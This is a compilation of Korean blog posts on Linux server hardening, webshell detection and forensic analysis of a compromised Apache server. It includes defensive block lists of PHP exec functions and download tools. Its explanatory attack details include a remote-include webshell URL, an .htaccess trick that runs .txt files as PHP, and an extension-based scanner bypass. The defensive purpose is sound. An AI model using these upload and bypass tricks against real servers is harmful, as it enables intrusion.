DOS Attack 아시죠?
Denial Of Service라고 하며 서비스거부 공격이라고 하죠.
이중 SYN Attack이라고 TCP 상에서 SYN_RECV 형태의 상태로
계속 접속하여 서버를 느리게 하는 것이 있습니다.
간단하게 아래의 명령어를 Command Line에서 적용하고,
시스템이 부팅될 때 마다 적용되도록 /etc/rc.d/rc.local에
적용하면 됩니다.

echo "1" > /proc/sys/net/ipv4/tcp_syncook!es
echo "2" > /proc/sys/net/ipv4/tcp_retries1
echo "8192" > /proc/sys/net/ipv4/tcp_max_syn_backlog

혹시 알 수 없는 이유로 웹서비스가 느려졌다는 생각이 들면
우선 netstat -an | grep SYN ( | wc ) 로 SYN_RECV 상태의
TCP Socket을 확인하세요.
특정 IP에서 계속 연결을 시도하고 있다면 위와 같은 명령어로
확실히 불필요한 많은 접속 시도를 줄일 수 있습니다



출처 : http://hanaduri.egloos.com/2289552
, .

리눅스보안 - 필수 보안 조치법
1. SUID 점검하기.(root 소유의 SetUID및 SetGID 파일들 점검

find / -user root -perm -4000 -print (SetUID)
find / -user root -perm -2000 -print (SetGID)
find / -user root -perm -4000 -print -xdev

2. 파티션별 디스크사용량 점검
df -h

3. 파일무결성 점검.

http://weblog.websea.co.kr/tripwire/tripwire

4. 백도어 설치여부 점검.(/dev 체크 및 rootkit 점검)

find /dev -type f -exec ls -l {} \;
./chkrootkit

5. 현재 열려진 포트 및 응답가능한 포트 점검.

netstat -atp | grep LISTEN (사용 프로토콜 : TCP인가? 또는 UDP인가?
사용중인 포트번호
서버와 연결된 IP 및 도메인명
생성 PID
서비스중인 프로세스명
현재 응답가능상태인가?
lsof | grep LISTEN(현재 서비스 중인 프로세스명(데몬명)
현재 생성중인 PID번호.
현재 서비스중인 프로세스의 소유자
프로토콜 버전 : Ipv4 또는 Ipv6
TCP 또는 UDP의 여부
응답가능 상태인가?

6. 실생중인 프로세스 및 데몬점검.(프로세스의 생성관계)

pstree

7. 시스템 운용상황 점검.

top -d2

8. 백업점검.

/home2/backup/nexfor/
/home2/backup/websea/

9. 스팸메일 점검.(메일큐 디렉토리 점검)

/var/spool/mqueue (동일한 날짜, 동일한 사이즈를 가진 다수 파일구분)

10. Core 점검.

서버내에 긴급한 이상이 발생하였을 경우나 시스템의 정확한 분석을 위해
서버의 메모리 상태를 순간적으로 dump 받는 경우의 파일
find / -name core -exec ls -l {} \;

11. 파일용량 점검

repquota -av -ag
df -h

12. 최근 서버 접속자 점검.

vi /var/log/secure
last -n 10 최근 10번째까지의 접속기록을 확인.

13. 계정별 최후접속기록 점검.

lastlog는 현재 /etc/passwd에 존재하는 모든 계정을 대상으로 하여 언제 마지막으로 서버에 접속을 했는가를 확인.
Mail, adm, bin 등의 계정들은 모두 "** Never logged in **" 이라고 되어 있는것이 정상.

lastlog

14. 현재 서버접속자 보기

w (telnet)
ftpwho(ftp)

15. root명령어 사용기록 점검.

vi /root/.bash_history (.set nu)
cat /root/..bash_history | wc -l (1000라인 이상 되어야 정상)

16. 계정별 사용명령어파일 점검.

find / -name .bash_history -exec ls -l {} \; (각 계정별 .bash_history 파일의 존재여부)
find / -name .bash_history -exec cat {} \; (파일의 내용까지 모두 확인해 볼 수 있음)

17. root소유자 점검(UID와 GID가 0인 사용자 점검)

cat /etc/passwd | grep 0:0

18. 서버내에 중요한 디렉토리 점검

/etc/xinetd.d/ (xinetd로 서비스되는 인터넷서비스 파일들이 존재하는 디렉토리)
/etc/rc.d/ (부팅에 관계된 파일) (파일들을 복사 후 파일용량등을 비교하기) (커널패닉의원인)
/etc/rc.d/init.d/ (부팅시에 특정 서비스나 데몬들을 시작시키는 스키립트 파일)

19. .rhosts 파일 점검

원격에서 패스워드등의 확인과정없이 바로 접속하기 위해서 사용되는 파일

find / -name .rhosts -exec ls -l {} \;
find / -name .rhosts -exec cat {} \;

20. 메모리사용량 점검.

free -m
cat /proc/meminfo (free 와 top 는 이 파일을 참조하여 보여준다.)
top -d2

21. 중요 관리자용명령어 점검.

아래의 명령어들을 퍼미션을 100으로 설정한다. 변경 후 퍼미션 변경여부를 확인.

chmod 100 /usr/bin/top
chmod 100 /usr/bin/pstree
chmod 100 /usr/bin/w
chmod 100 /bin/ps
chmod 100 /usr/bin/who
chmod 100 /usr/bin/find
chmod 100 /bin/df
chmod 100 /bin/netstat
chmod 100 /sbin/ifconfig
chmod 100 /usr/sbin/lsof
chmod 100 /usr/bin/make
chmod 100 /usr/bin/gcc
chmod 100 /usr/bin/g++
chmod 100 /usr/bin/c++

22. su 명령어를 이용한 root권한 사용자 점검.

su 명령어의 사용내역을 확인할 수 있음.

cat /var/log/messages | grep root

23. 최근 n 일전 변경된 파일 점검. (단위는 일)

find / -ctime -1 -print | more

24. http://weblog.websea.co.kr/

25. find 를 이용한 특정파일 점검하기.

.exec 파일찾기
find / -name '.exec' -exec cat {} \; -print

.forward 파일체크
find / -name '.forward' -exec cat {} \; -print

write 퍼미션이 있는 파일(디렉토리)찾기
find / -type f \( -perm -2 -o -perm -20 \) -exec ls -lg {} \;
find / -type d \( -perm -2 -o -perm -20 \) -exec ls -ldg {} \;

SteUID SetGID 체크하기
find / -type f \( -perm -004000 -o -perm -002000 \) -exec ls -lg {} \;

/dev 체크
find /dev -type f -exec ls -l {} \;

소유자없는 파일 및 디렉토리 찾기
find / -nouser -o -nogroup -print

원격리모트 접속허용 파일(.rhosts)찾기
find / -name .rhosts -print

최근 변경된 파일들 찾기.(파일or디렉토리) 단위는 일
find / -ctime -20 -type f or d

현재 서버에서 열려진 포트 및 접근저보 점검

netstat -an | grep LISTEN (포트들과 열결되어 있는 실행데몬들을 확인)
lsof | grep LISTEN (좀 더 자세히 확인)

26. 관리자용 명령어 퍼미션 수정하기.

chmod 100 /usr/bin/top
chmod 100 /usrbin/pstree
chmod 100 /usr/bin/w
chmod 100 /bin/ps
chmod 100 /usr/bin/who
chmod 100 /usr/bin/find
chmod 100 /bin/df
chmod 100 /bin/netstat
chmod 100 /sbin/ifconfig
chmod 100 /usr/sbin/lsof
chmod 100 /usr/bin/make
chmod 100 /usr/bin/gcc
chmod 100 /usr/bin/g++
chmod 100 /usr/bin/c++

27. 중요한 파일퍼미션과 소유권 제한 및 점검.

chmod 644 /etc/service
chmod 600 /etc/xinetd
chmod 644 /etc/mail/aliases
chmod 600 /etc/httpd/conf/httpd.conf
chmod 644 /var/log/wtmp
chmod 644 /var/run/utmp
chmod 644 /etc/motd
chmod 644 /etc/mtab
chmod 600 /etc/syslog.conf

/etc, /usr/etc, /bin, /usr/bin, /sbin, /usr/sbin

chmod 1777 /tmp
chmod 1777 /var/tmp

28. umask 값 확인하기.

root의 umask 값 확인하기.
umask
022 -->파일은 644 디렉토리는 755로 생성됨.
027 -->파일은 640 디렉토리는 750로 생성됨.

29. /dev 에 device 파일 이외의 것이 존재하고 있는지 확인.

find /dev -type f -exec ls -l {} \;

30. 일반사용자의 명령어 패스

/usr/local/bin:usr/local/mysql/bin:/home/hosting/bin/
일반사용자가 사용가능한 명령어를 모두 이것에 둠.

31. 관리자의 명령어 패스

:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin

/X11:/usr/X11R6/bin:/usr/kerberos/bin:/root/bin

32. 특정 그룹만의 su 사용권한 허용하기

vi /etc/group (wheel구릅에 su 사용권한을 가질 유저 추가하기)
wheel:x:10:root,cream

vi /etc/pam.d/su (두줄 추가하기)

auth sufficient /lib/security/pam_rootok.so
auth required /lib/security/pam_wheel.so allow group=wheel

vi /var/log/message 에서 확인

33. chmod 400 /etc/shadow

34. 시스템 기본로그파일.

/var/log/messages
/var/log/secure
/var/log/wtmp
/var/run/utmp
/var/log/lastlog

35. utmp, wtmp, lastlog 파일

utmp파일 : 현재시스템에 접속해 있는 사용자의 정보를 가지고 있음.

strings utmp | more

정보 이용 명령어
login(1), who(1), init(8), last(8), lastcomm(8)

wtmp파일 : 처음부터 접속했던 모든 사용자의 로그인정보와 로그아웃정보를 가지고 있음.

strings wtmp | more

정보 이용 명령어
login(1), who(1), init(8), last(8), lastcomm(8)

lastlog 파일

가장 최근에 로그인한 정보를 저장함.

last 라는 명령어로 확인할 수 있음.

36. 패스워드 유출대처방안(웹)

perl을 이용한 방법.


AllowOverride FileInfo AuthConfig Limit
Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
Options Indexes SymLinksIfOwnerMatch IncludesNoExec ExecCGI
Options Indexes SymLinksIfOwnerMatch IncludesNoExec

Order allow,deny
Allow from all


Order deny,allow
Deny from all


SSI의 exec 명령어를 이용하는 방법

# AddType text/html .shtml
# AddHandler server-parsed .shtml

27. PortSentry를 이용한 실시간 해킹방어 구현.(잘못 사용할시 서버접속 안됨)

tar -xvzf portsentry-1.1.tar.gz
make linux
make install

/usr/local/psionic/portsentry/portsentry -tcp
/usr/local/psionic/portsentry/portsentry -udp
/usr/local/psionic/portsentry/portsentry -stcp
/usr/local/psionic/portsentry/portsentry -atcp
/usr/local/psionic/portsentry/portsentry -stdp

vi /etc/hosts.deny 점검.

28. Chkrootkit 로 백도어 점검.

tar -xvzf chkrootkit.tar.gz
make sense
./chkrootkit (점검명령어)

29 ping 을 이용한 DOS 공격 막는 방법.

vi /etc/sysctl.conf
net.ipv4.icmp_echo_ignore_broadcasts = 1

sysctl -w
/etc/rc.d/init.d/network restart
sysctl -a | grep ignore_broadcasts

30. Nmap를 이용 포트스켄 하여 해킹가능성 체크.

nmap -sS -p80 211.42.48.110 -O -v www.armian.net
nmap -sS -O -v 211.42.48.114


출처 : http://hanaduri.egloos.com/2302533
, .

이번에는 웹쉘이 서버에 올라갔을 때의 탐지 및 대응 방법에 대해 알아 보려고 한다. 일단 웹쉘이 서버에 업로드 되면 그 서버는 해커의 수중에 들어 갔다고 보아야 한다. 이후 해커는 다양한 방법으로 서버의 정보를 취득하고 해킹툴을 이용해서 권한 상승을 노린다.

allow_url_fopen = On인 웹 페이지 취약점을 통해 다음과 같이 쉘권한을 얻을 수 있다.


http://www.test.com/Test.php -----------------> http://hack.com/webshell.txt


타킷서버의 Test.php에 취약점이 존재하는 경우 hack.com에 존재하는 webshell을 불러들여 쉘 권한을 획득 한 다음 내부 서버의 정보를 모으고 백도어를 설치하고 권한 상승을 노린다. 대표적으로 구 제로보드에서 많이 발생하고 있다.


웹쉘 실행 화면

웹쉘 실행 화면

이제부터 이러한 웹쉘에 대한 대응 방법에 대해 몇 가지 알아 보려고 한다.

우선 첫째로 당연한 것이겠지만 자신이 운영하고 있는 웹소스에서 보안 취약점을 제거해야 한다. 하지만 이것은 실제적으로 침해사고를 당하지 않는 한 탐지하기가 어려운 면이 있다. 특히 자신이 개발자가 아니고 단순히 운영만 하는 입장이라면 더욱 그렇다. 하지만 널리 알려진 웹 보안 취약점은 modsecurity 같은 무료 웹 방화벽으로 공격을 사전 차단 할 수 있을 뿐 아니라 차단 기능을 꺼 놓고 로그만 기록하게 해도 나중에 사고를 당했을시 로그 분석을 통해 원인을 찾는데 도움이 되므로 가능한 운영하는게 좋다. 공개 무료 웹방화벽 운영에 관한 자료는 정보보호진흥원에서 운영하는 다음 사이트에서 많은 도움을 받을 수 있다.

http://www.krcert.or.kr/firewall2/index.jsp

두번째는 필요없는 php 함수들은 사용 할 수 없게 하는 것도 하나의 방법이다. 설정은 php.ini 다음과 같은 방법으로 할 수 있다.

대부분이 서버의 정보를 보여주는 설정들이다. 서비스에 별 필요 없는 기능들이고 서버에 어떠한 영향을 주는 함수들은 아니지만 해커에 의해 악용 될 수 있기 때문에 막아 놓은 것이 나을것이다.

disable_functions= php_uname, ini_set, getenv, get_user, phpversion, ini_get,ini_get_all, phpinfo, system, exec, passthru, escapeshellcmd,pcntl_exec, shell_exec

특히 주의할 점은 system, exec, passthru, escapeshellcmd, pcntl_exec, shell_exec 함수들은 서버상에서 운영체제 명령어를 실행 시키는 명령들이다. 일단 웹쉘이 업로드 되면 위의 함수들로 서버상에서 작업을 할 수 있으므로 막는게 좋으나 실제 운영되고 있는 홈페이지에서도 사용 할 수 있으므로 잘 알아 보고 필요한 함수는 빼고 설정 하는 것이 좋다.

세번째는 파일업로드 기능을 사용하지 않는다면 php.ini 에서 file_uploads 기능을 off 시키거나 파일 업로드를 한다면 업로드 디렉터리.htaccess을 사용해 업로드 되는 디렉터리에서는 php를 아예 사용 할 수 없게 하는 것이다.

파일을 업로드 시키는 디렉터리에 다음과 같이 .htaccess 파일을 작성하자.

<FilesMatch "\.(html|htm|php|pl|cgi|inc|lib)">

Order allow,deny

Deny from all

</FilesMatch>

해당 확장자로 끝나는 파일들은 접속이 금지된다.

이 방법은 해커가 웹쉘을 업로드 할 때도 사용 할 수 있다.

만약 php확장자를 가진 소스를 업로드 하지 못하게 했다면 해커는 다음과 같이 하여 확장자를 우회할 수 있다.

다음 내용을 가진 .htaccess파일을 업로드 시킨다.

AddType application/x-httpd-php .txt

이후 txt 파일은 모두 php로 인식한다. 해커는 웹쉘의 확장자를 txt파일로 변경하여 서버에 올리면 된다. 마찬가지 방법으로 다음과 같은 .htaccess 파일을 올려서 바이러스나 해킹툴을 설치하기도 한다.

ErrorDocument 403 http://www.hacktest.co.kr/hack.txt

ErrorDocument 404 http://www.hacktest.co.kr/hack.txt

이는 다음과 같은 명령어로 탐지가 가능하다.

find `locate .htaccess` -exec egrep -l -i ‘txt’ {} \; 2>/dev/null

find `locate .htaccess` -exec egrep -l –I ‘http://’ {} \; 2>/dev/null

그 다음으로 할 일은 서버에 업로드 된 웹쉘을 제거하는 일이다. 한국 정보보호진흥원에서 개발한 웹 쉘 탐지 프로그램 Whistl을 이용하여 서버에 업로드 된 웹쉘을 제거 할 수 있다. 이 프로그램은 리눅스는 물론 윈도우에서도 동작하고 정확성도 높기 때문에 웹쉘 탐지 및 제거에 매우 추천 할 만한 프로그램이다.

프로그램은 다음 사이트의 공지사항에서 신청서를 작성한 후 신청하면 사용 할 수 있다.

http://www.krcert.or.kr/index.jsp

사용방법은 상당히 직관적이고 쉬운편이다. 보내온 프로그램의 압축을 풀면 프로그램과 함께 설명서에 사용법이 적혀져 있다. 다음과 같이 간단히 사용 할 수 있다.

./whistl_kernel_2.6 –c

우선 자기 서버에 맞게 환경 설정을 해준다.

whistl Configuration

[1] Checking Directory : /home/sungon

[2] Inspection Center directory : /tmp

[3] Extension of php : inc,php,php3,php4,php5,ph

[4] Extension of jsp : jsp,js

[s] save

[q] quit

1번 메뉴를 누르고 검사할 디렉터리를 지정해 준다. /home 폴더 전체를 지정해 줄 수도 있다.

Choose Menu : 1

Checking Directory :/var/www/html

[1] Checking Directory : /var/www/html

[2] Inspection Center directory : /tmp

[3] Extension of php : inc,php,php3,php4,php5,ph

[4] Extension of jsp : jsp,js

[s] save

[q] quit

3번 메뉴을 누르고 검사할 파일의 확장자를 지정해 준다. txt확장자를 추가해 주었다.

Choose Menu : 3

Extension of php :inc,php,php3,php4,php5,ph,txt

[1] Checking Directory : /var/www/html

[2] Inspection Center directory : /tmp

[3] Extension of php : inc,php,php3,php4,php5,ph,txt

[4] Extension of jsp : jsp,js

[s] save

[q] quit

Choose Menu : s

[1] Checking Directory : /var/www/html

[2] Inspection Center directory : /tmp

[3] Extension of php : inc,php,php3,php4,php5,ph,txt

[4] Extension of jsp : jsp,js

[s] save

[q] quit

Choose Menu : q

다음과 같이 검사를 하면

./whistl_kernel_2.6

id : testid

pwd : password

Checking the configration

[Config] Checking directory : /var/www/html

[Config] Inspection Center directory : /tmp

Checking the update status

[INFO] Pattern Update Finished

Checking /var/www/html directory

[5 Found] /var/www/html/test2.php

[18 Found] /var/www/html/test.txt

Check Result

[INFO] 2 Files checked

[INFO] 2 Suspected WebShell

[INFO] Time cost : 00:00:10

[INFO] Finish sending the checking result

웹쉘이 탐지되는 것을 알 수 있다. [5 Found] [18 Found] 같은 숫자는 해당 파일에서 모두 5개의 웹쉘 패턴이 일치되었다는 것을 말한다. 5이상은 웹쉘이 거의 확실하지만 일치되는 패턴 숫자가 1이나 2이라면 정상적인 파일이 아닌지 확인해 봐야 한다. 경험상 1이나 2는 거의 정상적인 파일이고 패턴대응 숫자가 5이상이면 웹쉘이 확실하다고 보면 된다.

다만 아쉬운 점은 프로그램이 복수의 확장자를 지원하지 않는다는 사실이다. 아파치(apache)에서는 복수의 확장자를 지원하기 때문에 webshell.php.test 같은 확장자를 가진 프로그램도 모두 php로 인식한다. 때문에 확장자를 약간만 변경하면 탐지프로그램을 우회할 수 있다.

이 부분은 추후에 개선이 되야 할 사항 같다.

리눅스를 사용하는 경우에는 디렉터리나 파일의 퍼미션에도 신경을 써야 한다. 777 퍼미션이나 파일이나 디렉터리apache nobody로 소유권을 설정하는 것은 가능한 피해야 한다.

업로드 디렉터리나 세션이 저장되는 디렉터리에는 어쩔 수 없이 707 퍼미션을 주어야 겠지만 그 외의 디렉터리에는 701 퍼미션을 주고 파일에는 644 퍼미션을 준다. cgi같은 경우에는 755퍼미션을 주지 않으면 실행이 되지 않으므로 주의한다.

그외에도 /etc/cron.daily에 스크립트를 하나 만들어 다음과 같이 명령어에 제한을 걸어 슈퍼유저외에는 사용을 못하게 할 수도 있다.

#!/bin/sh

chmod 701 /

chmod 701 /home

cd /etc

chmod 600 fstab

chmod 600 hosts.*

chmod 600 modprobe.conf

chmod 600 sysctl.conf

chmod 600 redhat-release

cd /usr/bin

chmod 700 wget

chmod 700 lynx

chmod 700 curl

chmod 700 lwp-*

chmod GET

만약 사용되고 있는 서버가 여러 유저들이 모두 같이 사용하는 서버라서 명령어 제한이 자유롭지 못하다며 acl 기능을 사용해서 nobody권한의 유저만 제한을 걸 수 도 있다.

acl 기능은 다음과 같이 하면 사용 할 수 있다.

vi /etc/fstab

/dev/sda8 / ext3 defaults,acl 1 1

/dev/sda7 /usr ext3 defaults,acl 1 2

이렇게 acl을 옵션으로 붙여주고 다시 리마운트 한다.

mount -o remount /

mount -o remount /usr

다음과 같이 제한하고자 하는 명령어에 nobody유저만 접근이 안되게 한다.

setfacl -R -m u:nobody:- `which find`

setfacl -R -m u:nobody:- `which ls`

setfacl -R -m u:nobody:- `which chmod`

setfacl -R -m u:nobody:- `which echo`

setfacl -R -m u:nobody:- `which cat`

정책이 정확하게 적용이 되었는지 확인한다.

ls –al `which find`

-rwxr-xr-x+ 1 root root 52460 Oct 20 2004 /usr/bin/find

끝에 +가 붙어 있으면 acl기능이 작동을 하는 것이다. acl기능을 제거 하려고 하면 다음과 같이 하면 된다.

setfacl -b /usr/bin/find

이상으로 웹 해킹 서버에 대한 간단한 분석 방법과 서버에서의 웹쉘에 대한 대처 방법에 대해 마치려고 한다. 웹서버 보안은 하나의 보안 어플리케이션으로 모든 것을 완벽하게 막을 수는 없다. 가능한 알고 있는 모든 방법을 다 적용하여서 조금씩 보안 허점을 줄여 나가는 수밖에 없다. 또한 리눅스 같은 경우 반드시 방화벽 정책을 수립하여 운영함으로써 해커가 서버를 악의적으로 운영하거나 외부로 공격을 하지 못하게 해야 한다. 이에 관해서는 차후에 다루어 보도록 하겠다.


출처 : http://blog.blueweb.co.kr/97?category=17

, .

가끔 접속자 수도 많지도 않은데 로드가 높아서 서버 접속이 원활하지 못하다거나 나의 서버가 스팸서버로 지정 되어서 상대방에게 메일을 보냈는데도 차단되었다거나 혹은 idc 보안 관제 센터에서 당신네 서버가 외부로 ddos공격을 하고 있으니 빨리 조치를 취하지 않으면 네트워크를 차단시키겠다는 경고성 전화를 받았을 때 어떻게 조치를 취해야 하는지 막막할 경우가 있다.

이럴 경우 웹 해킹에 의해서 서버가 해커에 의해 조종되고 있지 않는지 살펴 볼 필요성이 있다. 이번에는 실제 사례를 가지고 웹 해킹 침해 사고 시 대처 방법을 소개해 보고자 한다.


해킹된 서버는 redhat9를 사용하고 있으며 커널 버전은 2.4.20-8이다. 웹서버는 apache + php + mysql 기반으로 돌아가고 있으며 앞으로 모든 설명을 여기에 맞추어서 진행 하려고 한다. (윈도우에 asp는 해당 사항이 아니다.)


pstree

init-+-bdflush

|-crond

|-httpd-+-40*[httpd]

| `-2*[httpd---read.cgi]

|-httpd---httpd

|-httpd

|-kapmd

|-keventd

|-khubd

|-10*[kjournald]

|-2*[klogd]

|-kscand/DMA

|-kscand/HighMem

|-kscand/Normal

|-ksoftirqd_CPU0

|-kswapd

|-kupdated

|-mdrecoveryd

|-6*[mingetty]

|-named

|-nohup---a---sshd---101*[sshd]

|-perl

|-rhnsd

|-safe_mysqld---mysqld

|-sshd---sshd---bash---pstree

|-11*[sshd]

|-syslogd

|-vsftpd

|-us1---us1

|-us10---us11

|-us12---us12

|-us13---us13

|-us14---us14

|-us15---us15

|-us16---us16

|-us17---us17

|-us18---us18

|-us19---us19

|-us2---us2

|-us21---us21

|-us22---us22

`-xinetd

pstree명령어는 현재 돌아가고 있는 서버의 프로세스를 한눈에 파악할 수 있는 아주 중요한 명령어이다. 리눅스 사용자는 pstree명령어에 익숙해 져야 한다. 그냥 시간 날 때 마다 pstree치면서 나오는 결과를 눈에 익도록 하는 게 낫다.

위에 출력 결과를 한번 분석해 보도록 하자.

|-httpd-+-40*[httpd]

| `-2*[httpd---read.cgi]

|-httpd---httpd

|-httpd

아파치 웹 서버가 돌아가면 위와 같은 프로세스가 보인다. 허나 진짜 웹 서버는 첫째 줄 뿐이다. 나머지는 두번째 줄과 세번째 줄은 웹 서버로 위조된 해킹 프로세스이다.

|-nohup---a---sshd---101*[sshd]

이 부분을 보자 외부로 ssh Login Brute force scan 공격을 하고 있다. 마찬가지로 us로 시작하는 프로세스도 모두 외부로 공격하는 해킹프로세스이다. 정상적인 서버에서는 절대 볼 수 없는 프로세스들이다. 이외에도 perl같은 프로세스도 비정상 프로세스이다.

현재 이 서버는 외부로 공격을 수행하는 해킹 프로세스들이 매우 많이 수행되고 있는 중이다.

포트 상태를 점검해서 좀더 자세한 상황을 살펴보자.

# netstat -nlp

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 655/

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 26032/httpd

tcp 0 0 0.0.0.0:2 0.0.0.0:* LISTEN 612/vsftpd

tcp 0 0 192.168.10.1:53 0.0.0.0:* LISTEN 575/

tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 575/

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 588/sshd

tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN 575/

udp 0 0 0.0.0.0:32768 0.0.0.0:* 575/

udp 0 0 0.0.0.0:37028 0.0.0.0:* 25089/sshd

udp 0 0 0.0.0.0:37029 0.0.0.0:* 25479/httpd

udp 0 0 192.168.10.1:53 0.0.0.0:* 575/

udp 0 0 127.0.0.1:53 0.0.0.0:* 575/

Active UNIX domain sockets (only servers)

Proto RefCnt Flags Type State I-Node PID/Program name Path

unix 2 [ ACC ] STREAM LISTENING 1318 655/ /var/lib/mysql/mysql.sock

정상적인 웹 서버는 다음과 같이 나타난다. 80포트가 열려져 있는 것을 알 수 있다. 26032는 실행되고 있는 아파치 프로세스의 pid이다.

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 26032/httpd

udp 0 0 0.0.0.0:37029 0.0.0.0:* 25479/httpd

위의 프로세스를 보자. pid 25479인 이 프로세스는 아파치 웹서버 프로세스로 위장 되어 있지만 실질적으로는 37029번 포트로 서비스 되고 있는 hack 프로세스이다. 그리고 tcp가 아니 udp를 사용하고 있는 것도 눈에 띈다. sshd 프로세스도 마찬가지이다. 22번 포트를 LISTEN하고 있는 pid 588 프로세스가 정상적인 sshd 프로세스이다. 25089프로세스는 sshd로 위장된 비 정상적인 프로세스이다.

3306포트와 53번 포트를 리슨하고 있는 것은 각각 mysqld named프로세스로 정상적인 프로세스들이다.

이제는 좀더 깊이 들어가서 이 프로세스들이 어디서 실행되고 있는지 한 번 살펴 보자.

lsof -p 25479

lsof 명령어는 파일과 프로세스의 입출력 상태를 나타내주는 명령어로 pstree netstat 다음으로 사용법을 잘 익혀둘 필요가 있는 매우 유용한 명령어이다. p옵션은 프로세스 id의 입출력 상태를 나타내주는 옵션으로 다음 부분을 살펴볼 필요가 있다.

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

httpd 25479 apache cwd DIR 0,8 280 321300582 /dev/shm/bq

httpd 25479 apache txt REG 0,8 612470 321300590 /dev/shm/bq/httpd

httpd 25479 apache 0u IPv4 563618039 TCP 192.168.10.1:48562

->irc2.saunalahti.fi:ircd (ESTABLISHED)

httpd 25479 apache 5u REG 3,7 0 55 /tmp/ZCUDUzGlho (deleted)

httpd 25479 apache 6u IPv4 321303856 UDP *:37029

일단 이 위장 프로세스가 실행되고 있는 위치는 /dev/shm/bq/httpd라는 것을 알 수 있다.

192.168.10.1:48562->irc2.saunalahti.fi:ircd (ESTABLISHED)

이 부분을 주의 깊게 살펴 보자. 현재 해킹된 서버에서 irc2.saunalahti.fi 서버의 6667(ircd)포트로 접속 되어 있는 것을 알 수 있다. 즉 이 서버는 현재 좀비 컴퓨터화 되어 있다. 한마디로 말해서 해커가 원격에서 irc bot을 이용하여 이 서버를 자신이 원하는 데로 조종할 수 있다는 말이다. 이러한 좀비 컴퓨터를 대량으로 확보하면 해커는 보통 분산 서비스 거부 공격(DDOS ATTACK)을 하는데 이용하거나 돈을 받고 팔기도 한다. 특히 IDC에 상주되어 있는 서버가 해커 손에 넘어가면 최대 100M급의 트래픽 공격을 할 수 있는 든든한 무기를 손에 넣게 된다.

USER부분을 살펴보자 apache라고 되어 있다. 현재 이 서버에서 실행되고 있는 웹서버의 권한이 apache로 웹해킹을 통해서 서버의 apache권한을 획득한 것을 볼 수 있다.

다음과 같은 명령으로 이서버의 전체적인 입출력 상태를 체크해 볼 수 있다.

lsof –I –n |grep apache

문제가 되는 apache권한만 살펴 보면 다음과 같은 입출력 상태가 2~300개씩 나타나고 있었다.

sshd 23901 apache 8u IPv4 397205096 TCP 192.168.10.1:56970->217.18.114.168:ssh (ESTABLISHED)

외부에 ssh스캔 공격을 하고 있을 때의 대표적 증상이다. 만약 다량의 스팸 메일을 보낸다면 외부 ip 25번포트(SMTP포트)로 수많은 연결이 보일 것이다. 이 외에도 ircd로의 접근도 포착 될 것이다.

lsof 명령어는 서버의 입출력 상태를 점검할 때 매우 유용한 명령어이니 잘 익혀두는 것이 좋다.

일단 hack process가 설치된 /dev 디렉터리를 좀더 자세히 점검해 보자.

find /dev –type f

일단 정상적인 경우를 살펴보자

/dev/.udev.tdb

/dev/MAKEDEV

centos5같은 경우

/dev/.udev 디렉토리와 그 아래 디렉토리만 파일들만 있어야지 정상이다.

find 명령어로 살펴보니 아래와 같은 많은 수많은 hack tool들이 설치 되어 있는 것을 확인 할 수 있었다.

/dev/MAKEDEV

/dev/shm/stopex.pl

/dev/shm/bq/raw.session

/dev/shm/bq/Presedinte.seen

/dev/shm/bq/Silvic.seen

/dev/shm/bq/RamonaT.seen

/dev/shm/bq/httpd

/dev/shm/bq/3

/dev/shm/st/src/dcc.c

/dev/shm/st/src/parse.c

/dev/shm/st/src/main.c

/dev/shm/st/src/gencmd.c

/dev/shm/st/src/Makefile

웹쉘 권한을 얻었을 때 이와 같은 툴들이 설치되는 이유는 퍼미션 때문이다.

ll –ld /dev/shm

drwxrwxrwt 2 root root 40 Nov 6 13:33 /dev/shm

/dev/shm, /var/tmp, /tmp 폴더등은 1777권한을 가지고 있기 때문에 웹쉘을 통해 권한을 얻었을 경우 쉽게 해킹툴들을 업로드 하고 이를 실행 시키는데 사용되는 디렉터리로 평소 주의를 기울여 관리해야 한다. 이외에도 디렉터리에 apache nobody유저에 쓰기 권한을 주거나 777같은 퍼미션을 주는 경우는 매우 잘못된 습관이라고 할 수 있다.

# cd /dev/shm/st

[root@canacom st]# ll

합계 836

-rwxr-xr-x 1 apache apache 2156 7 11 2005 Makefile

-rwxr-xr-x 1 apache apache 20358 1 2 2003 configure

-rwxr-xr-x 1 apache apache 585643 1 4 2007 sshd

-rwxr-xr-x 1 apache apache 17495 1 4 2007 stealth

보면 apache권한을 가지고 있는 것을 알 수 있다.

lsof 명령어로 보여주는 결과 값이 너무 길어서 의미가 있는 것 만 적었다. 다음 perl명령어는 원격에서 root로 쉘 권한을 가지고 직접 접속해서 명령을 내린 것으로 해커가 어떤 방법을 써서 아파치 권한에서 root로 권한이 상승 된 것을 확인 할 수 있다.

lsof -p 6411

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

perl 6411 root cwd DIR 3,7 4096 87745 /tmp/.tmp

perl 6411 root rtd DIR 22,9 4096 2 /

perl 6411 root txt REG 3,5 12572 33642 /usr/bin/perl

perl 6411 root 0u CHR 136,1 3 /dev/pts/1

perl 6411 root 1u CHR 136,1 3 /dev/pts/1

perl 6411 root 2u CHR 136,1 3 /dev/pts/1

perl 6411 root 3r REG 3,7 116030 87748 /tmp/.tmp/bnc

perl 6411 root 4u IPv4 398045837 TCP *:24338 (LISTEN)

perl 6411 root 5r DIR 3,7 4096 43873 /tmp/.tmp/logs

perl 6411 root 6u IPv4 398046908 TCP 192.168.10.1:24338->189.14.64.131:1327 (ESTABLISHED)

perl 6411 root 7u IPv4 398046908 TCP 192.168.10.1:24338->189.14.64.131:1327 (ESTABLISHED)

perl 6411 root 8u IPv4 398049150 TCP 192.168.10.1:35825->own.ipapo.org:ircd (ESTABLISHED)

다음 부분을 주목해서 보자.

perl 6411 root 0u CHR 136,1 3 /dev/pts/1

원격 터미널을 통해서 슈퍼유저 권한으로 로그인한 것으로 추정된다. 이 상태에서 이미 최상위 권한을 탈취했으므로 이 시스템은 완전히 해커에게 장악 당했다고 볼 수 있다.

